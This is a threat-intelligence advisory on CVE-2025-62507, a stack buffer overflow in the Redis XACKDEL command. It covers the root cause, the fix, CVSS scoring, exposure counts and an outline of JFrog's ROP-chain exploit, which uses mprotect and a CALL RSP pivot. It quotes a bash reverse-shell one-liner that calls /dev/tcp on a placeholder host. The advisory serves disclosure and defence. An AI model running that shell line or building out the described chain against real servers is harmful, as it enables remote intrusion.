# CVE-2025-62507: Unauthenticated Stack-Based Buffer Overflow RCE in Redis XACKDEL Command

> A stack-based buffer overflow in Redis's XACKDEL command (xackdelCommand, src/t_stream.c) allows unauthenticated remote code execution on default configurations of Redis 8.2.0-8.2.2. JFrog Security Research published a working ROP-chain exploit that bypasses NX protection via mprotect() to gain shellcode execution, and identified 2,924 immediately exploitable unauthenticated Redis servers via Shodan.

- **Published:** 2026-07-19T00:00:00Z
- **Last reviewed:** 2026-07-19T00:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-1537
- **ID:** TL-2026-1537
- **Severity:** HIGH (CVSS 8.8)
- **Category:** VULNERABILITY
- **Status:** ACTIVE
- **Detections:** 9 · **IOCs:** 17 (full data via the Threadlinqs MCP server — Purple tier)
- **CVEs:** CVE-2025-62507

## Description

CVE-2025-62507 is a stack-based buffer overflow (CWE-787/CWE-121) rooted in improper input validation (CWE-20) in Redis's XACKDEL command, which combines Redis Streams consumer-group message acknowledgment and deletion. The xackdelCommand function parses a client-supplied list of stream IDs into a fixed-size stack array, static_ids[STREAMID_STATIC_VECTOR_LEN] (52 IDs of 16 bytes each), but never validates that the number of client-supplied IDs fits within that bound before writing into it. Supplying 53 or more attacker-controlled 128-bit stream IDs (each parsed as a milliseconds-sequence pair) overruns the buffer and overwrites adjacent stack memory, including saved registers and the function's return address, with fully attacker-controlled values.

Redis was originally credited by the vendor advisory to Google Big Sleep, Google DeepMind/Project Zero's AI-driven vulnerability discovery agent, and disclosed via GitHub Security Advisory GHSA-jhjx-x4cf-4vm8 with a fix in Redis 8.2.3. On 2026-01-14, JFrog Security Research published a full weaponized exploit chain independent of the advisory's proof-of-concept status: a Return-Oriented Programming (ROP) chain that loads rdi/rsi/rdx with a target stack address (0x7fffffffe000), a 0x20000-byte size, and PROT_READ|PROT_WRITE|PROT_EXEC flags, then returns into libc's mprotect() to make a stack region executable — bypassing NX (DEP). A subsequent CALL RSP gadget pivots execution into attacker-supplied shellcode written past the overflowed return address, in JFrog's PoC a reverse shell (`/bin/bash -c '/bin/bash -i >& /dev/tcp/[HOST]/4444 0>&1'`).

Although NVD's CVSS v3.1 vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H, 8.8 HIGH) lists PR:L (low privileges), Redis enforces no authentication by default, so on out-of-the-box deployments PR:L is trivially satisfied and the flaw is effectively unauthenticated, network-exploitable RCE. Redis's own Github advisory separately scored it CVSS v4.0 7.7 (AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N). Full weaponization against a hardened target additionally requires an information-disclosure primitive to defeat ASLR and, on binaries compiled with stack-protector, a canary bypass; JFrog noted the official Redis Docker image was compiled WITHOUT -fstack-protector, making the Docker-distributed binary trivially exploitable, while Ubuntu-packaged Redis retained canary protection. Shodan enumeration by JFrog found 2,924 Redis 8.2.0-8.2.2 instances reachable with no authentication at all, plus 183,907 additional internet-facing Redis servers with authentication enabled but potentially subject to credential brute-forcing. The vendor fix (commit 5f83972188f6e5b1d6f1940218c650a9cbdf7741, released as Redis 8.2.3) replaces the fixed stack allocation with a heap reallocation path when the ID count exceeds the static vector length. As of this writing CVE-2025-62507 is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog; exploitation is documented via public security research rather than confirmed in-the-wild campaigns.

## MITRE ATT&CK

- T1595 Active Scanning
- T1588 Obtain Capabilities
- T1190 Exploit Public-Facing Application
- T1059 Command and Scripting Interpreter
- T1203 Exploitation for Client Execution
- T1068 Exploitation for Privilege Escalation
- T1211 Exploitation for Stealth
- T1046 Network Service Discovery
- T1095 Non-Application Layer Protocol
- T1082 System Information Discovery
- T1499 Endpoint Denial of Service
- T1210 Exploitation of Remote Services

## Sources

- [Dissecting and Exploiting CVE-2025-62507: Remote Code Execution in Redis](https://jfrog.com/blog/exploiting-remote-code-execution-in-redis/)
- [Bug in XACKDEL may lead to stack overflow and potential RCE (GHSA-jhjx-x4cf-4vm8)](https://github.com/redis/redis/security/advisories/GHSA-jhjx-x4cf-4vm8)
- [Redis fix commit 5f83972188f6e5b1d6f1940218c650a9cbdf7741](https://github.com/redis/redis/commit/5f83972188f6e5b1d6f1940218c650a9cbdf7741)
- [Redis 8.2.3 release](https://github.com/redis/redis/releases/tag/8.2.3)
- [NVD - CVE-2025-62507](https://nvd.nist.gov/vuln/detail/CVE-2025-62507)
- [CVE-2025-62507: Redis RCE Vulnerability via XACKDEL](https://www.sentinelone.com/vulnerability-database/cve-2025-62507/)
- [CVE-2025-62507](https://www.tenable.com/cve/CVE-2025-62507)
- [Stack-based buffer overflow in Redis - CVE-2025-62507](https://www.cybersecurity-help.cz/vdb/vulns/117913/)
- [AI-Discovered Flaw: Redis Flaw (CVE-2025-62507) Allows Remote Code Execution via Stack Buffer Overflow](https://securityonline.info/ai-discovered-flaw-redis-flaw-cve-2025-62507-allows-remote-code-execution-via-stack-buffer-overflow/)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-1537
